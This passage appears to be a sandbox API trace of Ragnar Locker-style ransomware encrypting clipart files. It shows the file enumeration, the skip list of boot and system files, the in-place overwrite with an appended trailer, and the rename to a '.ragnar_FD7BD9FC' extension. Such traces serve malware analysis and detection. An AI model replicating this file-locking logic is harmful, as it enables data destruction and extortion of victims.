| out: lpFileSize=0x1eaf7c*=61633) returned 1 [0084.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf0b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.526] GetProcessHeap () returned 0x580000 [0084.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.526] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.527] VirtualAlloc (lpAddress=0x0, dwSize=0xf0c1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.527] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf0c1, lpOverlapped=0x0) returned 1 [0084.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf0c1, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.530] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf0c1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf0c1, lpOverlapped=0x0) returned 1 [0084.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf0c1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.530] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf0c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.531] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.531] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.531] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.531] GetProcessHeap () returned 0x580000 [0084.531] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.531] CloseHandle (hObject=0xf4) returned 1 [0084.531] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" [0084.531] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ragnar_FD7BD9FC" [0084.531] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.531] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0084.532] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.532] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145272.JPG" | out: lpString1="J0145272.JPG") returned="J0145272.JPG" [0084.532] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned=".JPG" [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="autorun.inf") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="boot.ini") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="bootfont.bin") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="bootsect.bak") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="bootmgr") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="bootmgr.efi") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="bootmgfw.efi") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="desktop.ini") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="iconcache.db") returned 1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="ntldr") returned -1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="ntuser.dat") returned -1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="ntuser.dat.log") returned -1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="ntuser.ini") returned -1 [0084.532] lstrcmpiW (lpString1="J0145272.JPG", lpString2="thumbs.db") returned -1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.532] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0084.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.533] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=49238) returned 1 [0084.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc04d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.533] GetProcessHeap () returned 0x580000 [0084.533] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.533] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.534] VirtualAlloc (lpAddress=0x0, dwSize=0xc056, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.534] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc056, lpOverlapped=0x0) returned 1 [0084.536] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.536] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc056, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.536] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc056, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc056, lpOverlapped=0x0) returned 1 [0084.537] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc056, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.537] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.537] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc056, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.537] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.537] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.537] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.537] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.538] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.538] GetProcessHeap () returned 0x580000 [0084.538] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.538] CloseHandle (hObject=0xf4) returned 1 [0084.538] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" [0084.538] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ragnar_FD7BD9FC" [0084.538] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.538] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0084.538] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.538] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145361.JPG" | out: lpString1="J0145361.JPG") returned="J0145361.JPG" [0084.538] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned=".JPG" [0084.538] lstrcmpiW (lpString1="J0145361.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.538] lstrcmpiW (lpString1="J0145361.JPG", lpString2="autorun.inf") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="boot.ini") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="bootfont.bin") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="bootsect.bak") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="bootmgr") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="bootmgr.efi") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="bootmgfw.efi") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="desktop.ini") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="iconcache.db") returned 1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="ntldr") returned -1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="ntuser.dat") returned -1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="ntuser.dat.log") returned -1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="ntuser.ini") returned -1 [0084.539] lstrcmpiW (lpString1="J0145361.JPG", lpString2="thumbs.db") returned -1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.539] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0084.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.540] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21125) returned 1 [0084.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x527c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.540] GetProcessHeap () returned 0x580000 [0084.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.540] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.541] VirtualAlloc (lpAddress=0x0, dwSize=0x5285, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.541] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5285, lpOverlapped=0x0) returned 1 [0084.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.543] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5285, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.543] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5285, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5285, lpOverlapped=0x0) returned 1 [0084.543] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5285, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.543] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.543] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.544] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.544] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.544] GetProcessHeap () returned 0x580000 [0084.544] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.544] CloseHandle (hObject=0xf4) returned 1 [0084.544] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" [0084.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ragnar_FD7BD9FC" [0084.544] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.544] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0084.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.544] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145373.JPG" | out: lpString1="J0145373.JPG") returned="J0145373.JPG" [0084.544] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned=".JPG" [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="autorun.inf") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="boot.ini") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="bootfont.bin") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="bootsect.bak") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="bootmgr") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="bootmgr.efi") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="bootmgfw.efi") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="desktop.ini") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="iconcache.db") returned 1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="ntldr") returned -1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="ntuser.dat") returned -1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="ntuser.dat.log") returned -1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="ntuser.ini") returned -1 [0084.545] lstrcmpiW (lpString1="J0145373.JPG", lpString2="thumbs.db") returned -1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.545] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0084.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.546] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17867) returned 1 [0084.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.546] GetProcessHeap () returned 0x580000 [0084.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.546] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.547] VirtualAlloc (lpAddress=0x0, dwSize=0x45cb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) 